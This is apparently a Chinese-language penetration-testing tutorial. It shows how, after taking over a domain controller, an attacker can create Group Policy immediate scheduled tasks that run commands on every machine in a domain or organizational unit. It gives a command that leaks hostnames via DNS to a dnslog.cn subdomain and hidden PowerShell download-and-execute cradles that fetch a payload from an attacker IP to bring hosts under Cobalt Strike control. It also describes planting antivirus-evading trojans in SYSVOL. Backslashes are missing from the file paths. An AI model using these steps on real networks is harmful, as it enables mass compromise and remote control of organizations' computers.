利用组策略计划任务实现命令执行
自Windows Server 2008开始,GPO组策略对象开始支持计划任务,以便于管理域中的计算机和用户。利用组策略的计划任务实现命令执行,在目标不出网的情况下,可以批量帮助我们找到域内出网的机器,并且能帮助我们实现指定OU批量上线。
在拿到域控权限后,可以利用组策略实现命令执行。有几个作用,第一当目标不出网时可以寻找出网机器,第二可以对指定OU(如运维部)命令执行上线,来找寻靶标!
组策略计划任务计算机配置和用户配置的区别
Windows Server2008R2使用计算机配置创建计划任务时,只有服务器会应用策略上线,PC机器不会应用策略。但是用户配置则没有此影响,均能应用策略上线。因此在实战中,建议使用用户配置。
Windows Server2012使用计算机配置创建计划任务时,只有服务器会应用策略上线,PC机器不会应用策略。但是用户配置则没有此影响,均能应用策略上线。因此在实战中,建议使用用户配置。 自从Windows Server2016开始,当使用计算机配置创建计划任务时,默认该任务只有访问本地资源的权限,也就是不能实现远程上线。但是用户配置则没有此影响,均能应用策略上线。因此在实战中,建议使用用户配置。 - 使用计算机配置的时候,要选择一个用户(通常为域管理员),然后不管用户是否登录都要运行,然后输入该用户的密码。 - 使用用户配置的时候,使用的用户为%LogonDomain%%LogonUser%,只在用户登录时运行。
组策略通过计划任务实现命令执行
Windows管理工具——>组策略管理,找到域——>右键——>在这个域中创建GPO并在此处链接(C)
输入组策略名字,我这里取名 test
找到我们刚刚创建的组策略,右键——>编辑
这里会有计算机配置和用户配置两种,我们选择用户配置即可:
- 用户配置——>首选项——>控制面板设置——>计划任务——>新建
这里有四种计划任务:
- 计划任务
- 即时任务(Windows XP)
- 计划任务(至少是Windows7)
- 即时任务(至少是Windows7)
关于四种计划任务的区别:[https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc770904(v=ws.11)](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc770904(v=ws.11))
我们选择 即时任务(至少是Windows7),该即时任务会在执行一次之后就删除。但是,目标主机只要每次刷新组策略,该即时任务就会再执行一次。也就是说,除了手动强制触发组策略,用户每次登录机器或每隔100分钟就会自动刷新一次组策略。
然后如下,使用 %LogonDomain%%LogonUser% 权限执行该计划任务
外带主机名的命令如下:
c:windowssystem32cmd.exe /c for /F %X in ('hostname') do ping %X.bpsvt2.dnslog.cn
于是,该计划任务会在每次组策略刷新时执行。我们也可以手动强制执行,在客户端执行如下命令强制刷新组策略,强制刷新完组策略之后,可以看到计划任务处有该即时任务。
gpupdate /force
这边我们可以收到dnslog请求
组策略通过计划任务实现powershell命令批量上线
这里前面的步骤一样,主要是操作这里
上线命令如下:
C:WindowsSystem32WindowsPowerShellv1.0powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(http://xx.xx.xx.xx:80/a))"
或
C:WindowsSystem32cmd.exe /c echo IEX ((new-object net.webclient).downloadstring(http://xx.xx.xx.xx:80/a)) | powershell -
或
在客户端刷新完组策略后,就会以当前用户权限上线cs
组策略执行文件
组策略可以执行exe、bat、vbs、ps1等文件,把要执行的免杀木马文件上传到下面指定目录中
\xie.comsysvolxie.com
然后执行程序的时候选定该文件即可
当目标主机刷新了组策略之后,就会上线